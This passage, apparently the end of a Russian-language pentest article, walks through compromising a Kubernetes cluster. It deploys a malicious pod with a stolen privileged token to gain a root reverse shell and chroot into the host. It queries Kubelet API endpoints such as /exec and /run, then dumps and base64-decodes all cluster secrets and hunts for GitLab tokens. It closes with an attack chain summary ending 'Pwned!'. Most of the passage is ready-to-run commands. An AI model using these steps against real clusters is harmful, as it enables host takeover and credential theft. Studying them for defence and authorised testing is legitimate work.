  <section style="background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <pre id="yZM2" data-lang="bash">./kubectl apply -f mal.yaml --token $PRIVTOKEN --server=https://XXX.XXX.XXX.XX1:6443 --insecure-skip-tls-verify=true</pre>
  </section>
  <p id="MXuw">Если вывелось <code>pod/o1dbu7go1d created</code>, то мы все сделали правильно, и в <code>nc</code> мы увидим коннект (если он разорвался, стоит попробовать еще раз, у меня было так). Я получил сразу <code>root</code>. Стоит сделать <code>chroot /host</code> и мы сменим корневую директорию на корневую директорию хостовой ОС.</p>
  <hr />
  <section style="background-color:hsl(hsl(199, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <h2 id="J9mp" data-align="center">[0x09] Полезное</h2>
  </section>
  <hr />
  <ul id="KXZv">
    <li id="upB7">Эндпоинты Kubelet API - обращение через curl:</li>
  </ul>
  <section style="background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <pre id="tYNA" data-lang="bash">curl -k https://XXX.XXX.XXX.XX1:10250/pods
curl -k https://XXX.XXX.XXX.XX1:10250/runningpods
curl -k https://XXX.XXX.XXX.XX1:10250/metrics
curl -k https://XXX.XXX.XXX.XX1:10250/configz
curl -k https://XXX.XXX.XXX.XX1:10250/exec
curl -k https://XXX.XXX.XXX.XX1:10250/run</pre>
  </section>
  <ul id="gfi6">
    <li id="5bJj">Пример сбора конкретных данных из полученного json от Kubelet API:</li>
  </ul>
  <section style="background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <pre id="gWte" data-lang="bash">curl -k https://XXX.XXX.XXX.XX1:10250/pods | jq &#x27;.items[].metadata.name&#x27; | tr -d &#x27;&quot;&#x27; &gt; pods-XXX.XXX.XXX.XX1.txt</pre>
  </section>
  <ul id="s8eE">
    <li id="hsxj">Сбор всех секретов (во всех пространствах имен):</li>
  </ul>
  <section style="background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <pre id="r5rm" data-lang="bash">./kubectl get secrets --all-namespaces --token $PRIVTOKEN --server=https://XXX.XXX.XXX.XX1:6443 --insecure-skip-tls-verify=true</pre>
  </section>
  <p id="eLli">Упрощенный пример вывода:</p>
  <section style="background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <pre id="pdAU" data-lang="bash"># NAMESPACE:NAME:TYPE:DATA:AGE

gitlab-runner:deploy-pull-secret:kubernetes.io/dockerconfigjson:1:2y20d</pre>
  </section>
  <p id="QiY9">В колонке DATA будет указано количество секретов. Также, они могут иметь разные типы (колонка TYPE), например Opaque - общий тип для произвольных данных или kubernetes.io/tls - TLS-сертификат и ключ.</p>
  <ul id="NZgH">
    <li id="z6XM">Чтение конкретного секрета:</li>
  </ul>
  <section style="background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <pre id="sEDL" data-lang="bash">./kubectl get secret &lt;secret-name&gt; -n &lt;namespace&gt; -o yaml --token $PRIVTOKEN --server=https://XXX.XXX.XXX.XX1:6443 --insecure-skip-tls-verify=true</pre>
  </section>
  <p id="EdOO">Можно вывести и в json, используя <code>-o json</code> вместо <code>-o yaml</code>. Сами секреты закодированы в base64. Берем строку и декодируем:</p>
  <section style="background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <pre id="hJZK" data-lang="bash">echo &lt;base64-secret-string&gt; | base64 -d</pre>
  </section>
  <p id="N2JL">Также стоит искать в подах другие потенциально интересные секреты. Например, секреты сервисов - токены от gitlab, если есть gitlab-runner&#x27;ы и другие. И всегда стоит проверять переменные окружения через <code>env</code>.</p>
  <hr />
  <section style="background-color:hsl(hsl(199, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <h2 id="MHcu" data-align="center">[0x10] Финальная цепочка атаки</h2>
  </section>
  <hr />
  <p id="cyKI">Статья подошла к концу. Итоговая цепочка атаки у нас получилась следующая:</p>
  <ol id="nb9r">
    <li id="Y1uc">Нахождение Kubelet API и проверка анонимного доступа к нему</li>
    <li id="NJOt">Нахождение pods, на которых доступно RCE</li>
    <li id="KWbG">Компрометация Service Account Токенов и быстрое определение привилегий</li>
    <li id="ZqB6">Создание evil-pod с примонтированной хостовой ОС</li>
    <li id="nd5O">Pwned!</li>
  </ol>
  <hr />

]]></content:encoded></item></channel></rss>